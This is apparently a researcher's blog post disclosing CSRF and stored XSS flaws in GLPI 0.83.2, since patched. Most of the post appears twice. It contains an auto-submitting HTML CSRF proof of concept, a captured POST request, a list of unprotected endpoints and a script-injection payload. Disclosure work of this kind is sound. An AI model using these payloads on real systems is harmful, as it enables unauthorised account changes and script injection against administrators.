Few months back when i was researching on few resource management softwares i came across this amazing Resource manager (GLPI). After deploying it on my xampp server i started my initial phase of finding bugs.
The installed version of GLPI was 0.83.2 which i found was having multiple CSRF issues, some of the important functions which includes adding new users or raising a ticket lacked a proper CSRF mitigation.
I found that most of the user related tasks were vulnerable to CSRF attack. Here is a small POC on adding a new user. The page at http://<localhost>/glpi/front/preference.php allows us to add a user.
And after clicking on update the following POST request is sent to the server.
POST http://localhost/glpi/front/preference.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Proxy-Connection: keep-alive
Cookie: PHPSESSID=bstsomr0qf11n0446gqai8gp03
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
name=glpi&id=2&realname=Attacker&language=en_GB&use_mode=0&update=Update
Since there is no CSRF token in the post request an attacker can easily create a html page and send to a logged-in administrator and can create him as an authenticated user without the administrator knowing about it.
Html POST-CSRF eg:
<html>
<body onload=csrf.submit()>
<form id="csrf" name="csrf" action="http://localhost/glpi/front/preference.php" method="POST">
<input type=hidden name="name" id="name" value="glpi"/>
<input type=hidden name="id" id="id" value="2"/>
<input type=hidden name="realname" id="realname" value="Attacker"/>
<input type=hidden name="language" id="language" value="en_GB"/>
<input type=hidden name="use_mode" id="use_mode" value="0"/>
<input type=hidden name="update" id="update" value="Update"/>
</form>
</body>
</html>
Here are few more locations which didn't had CSRF protection:
http://localhost/glpi/front/user.form.php?id=3
http://localhost/glpi/front/user.form.php?id=2
http://localhost/glpi/front/user.form.php?id=5
http://localhost/glpi/front/user.form.php?id=4
http://localhost/glpi/front/user.form.php?new=1
http://localhost/glpi/front/profile.form.php?id=3
http://localhost/glpi/front/ruleimportcomputer.form.php
http://localhost/glpi/front/popup.php?popup=edit_bookmark
http://localhost/glpi/front/group.form.php
http://localhost/glpi/front/entity.form.php
http://localhost/glpi/front/popup.php
http://localhost/glpi/front/auth.settings.php
http://localhost/glpi/front/crontask.php?execute=*
http://localhost/glpi/front/fieldunicity.form.php
http://localhost/glpi/front/config.form.php
http://localhost/glpi/front/notificationmailsetting.form.php
http://localhost/glpi/front/*?reset=reset
http://localhost/glpi/front/backup.php?
Apart from CSRF the application also had an XSS flaw at http://localhost/glpi/front/config.form.php where there was an option we could provide text on login. This parameter was not sanitized from the back end and it would easily accept any malicious characters. A simple "><script>alert(1)</script> would prompt 1 on the login screen.
The GLPI security team was very prompt and cooperative in handling all my reported issues. And a few weeks back they came up with a new secure version of GLPI 0.83.3 with XSS and CSRF protection.
Thanks GLPI team for acknowledging me on their new software release (click).
The installed version of GLPI was 0.83.2 which i found was having multiple CSRF issues, some of the important functions which includes adding new users or raising a ticket lacked a proper CSRF mitigation.
I found that most of the user related tasks were vulnerable to CSRF attack. Here is a small POC on adding a new user. The page at http://<localhost>/glpi/front/preference.php allows us to add a user.
And after clicking on update the following POST request is sent to the server.
POST http://localhost/glpi/front/preference.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Proxy-Connection: keep-alive
Cookie: PHPSESSID=bstsomr0qf11n0446gqai8gp03
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
name=glpi&id=2&realname=Attacker&language=en_GB&use_mode=0&update=Update
Since there is no CSRF token in the post request an attacker can easily create a html page and send to a logged-in administrator and can create him as an authenticated user without the administrator knowing about it.
Html POST-CSRF eg:
<html>
<body onload=csrf.submit()>
<form id="csrf" name="csrf" action="http://localhost/glpi/front/preference.php" method="POST">
<input type=hidden name="name" id="name" value="glpi"/>
<input type=hidden name="id" id="id" value="2"/>
<input type=hidden name="realname" id="realname" value="Attacker"/>
<input type=hidden name="language" id="language" value="en_GB"/>
<input type=hidden name="use_mode" id="use_mode" value="0"/>
<input type=hidden name="update" id="update" value="Update"/>
</form>
</body>
</html>
Here are few more locations which didn't had CSRF protection:
http://localhost/glpi/front/user.form.php?id=3
http://localhost/glpi/front/user.form.php?id=2
http://localhost/glpi/front/user.form.php?id=5
http://localhost/glpi/front/user.form.php?id=4
http://localhost/glpi/front/user.form.php?new=1
http://localhost/glpi/front/profile.form.php?id=3
http://localhost/glpi/front/ruleimportcomputer.form.php
http://localhost/glpi/front/popup.php?popup=edit_bookmark
http://localhost/glpi/front/group.form.php
http://localhost/glpi/front/entity.form.php
http://localhost/glpi/front/popup.php
http://localhost/glpi/front/auth.settings.php
http://localhost/glpi/front/crontask.php?execute=*
http://localhost/glpi/front/fieldunicity.form.php
http://localhost/glpi/front/config.form.php
http://localhost/glpi/front/notificationmailsetting.form.php
http://localhost/glpi/front/*?reset=reset
http://localhost/glpi/front/backup.php?
Apart from CSRF the application also had an XSS flaw at http://localhost/glpi/front/config.form.php where there was an option we could provide text on login. This parameter was not sanitized from the back end and it would easily accept any malicious characters. A simple "><script>alert(1)</script> would prompt 1 on the login screen.
The GLPI security team was very prompt and cooperative in handling all my reported issues. And a few weeks back they came up with a new secure version of GLPI 0.83.3 with XSS and CSRF protection.
Thanks GLPI team for acknowledging me on their new software release (click).
No comments :
Post a Comment